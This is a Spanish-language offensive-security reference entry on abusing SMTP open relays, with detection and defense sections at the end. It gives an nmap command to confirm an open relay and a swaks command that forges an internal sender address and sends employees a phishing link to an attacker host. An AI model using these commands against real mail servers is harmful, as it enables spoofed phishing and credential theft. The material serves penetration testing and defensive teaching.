SMTP open relay

Un open relay (retransmisión abierta) es un servidor SMTP mal configurado que acepta y reenvía correo de cualquier origen hacia cualquier destino sin autenticación. Un servidor así permite enviar mensajes que parecen salir del propio dominio de la empresa, enmascarando el verdadero origen. Para un atacante es una palanca de phishing muy potente: si la organización notifica a sus empleados desde una dirección conocida, podemos suplantar esa dirección y colar un enlace malicioso con toda la apariencia de un aviso interno legítimo.

Mecanismo

Primero se confirma que el puerto 25 (u otros de correo) permite retransmisión abierta con el script de Nmap smtp-open-relay, que prueba varias combinaciones de remitente y destinatario:

nmap -p25 -Pn --script smtp-open-relay <ip>

PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)

Confirmado el relay, se envía el correo suplantado con swaks, que construye toda la conversación SMTP por nosotros. El --from es la dirección que queremos falsear y el --to la víctima interna:

swaks --from notifications@<domain> --to employee@<domain> \
  --header 'Subject: Company Notification' \
  --body 'Complete this survey: http://<attacker>/phish' \
  --server <ip>

El servidor acepta el MAIL FROM y el RCPT TO sin pedir credenciales y entrega el mensaje como si viniera de dentro:

 -> MAIL FROM:<notifications@example.com>
<-  250 OK
 -> RCPT TO:<employee@example.com>
<-  250 OK
<-  250 OK

Requisitos

Un servidor SMTP accesible que acepte retransmisión sin autenticación (mala configuración clásica en servidores de correo autoalojados; los proveedores cloud como Microsoft 365 o Google Workspace no suelen serlo). No hace falta usuario ni contraseña. Combina muy bien con la enumeración previa de destinatarios válidos mediante VRFY/EXPN/RCPT.

Cómo detectarlo. Delatan el abuso los correos cuyo MAIL FROM es del dominio propio pero cuya IP de origen es externa, picos de envío desde direcciones no autorizadas, y el propio resultado del script smtp-open-relay en un escaneo. En el receptor, los fallos de SPF/DKIM/DMARC sobre mensajes que dicen venir del dominio interno son la señal clave.

Defensa. Configurar el servidor para exigir autenticación en el envío y restringir la retransmisión a redes y usuarios de confianza; publicar y hacer cumplir SPF, DKIM y DMARC para que el correo suplantado se rechace; y monitorizar el volumen de relay. Se apoya en la enumeración de usuarios SMTP y en la enumeración de IMAP/POP3, y suele preceder a la pulverización de contraseñas o a la reutilización de credenciales con lo que se obtenga.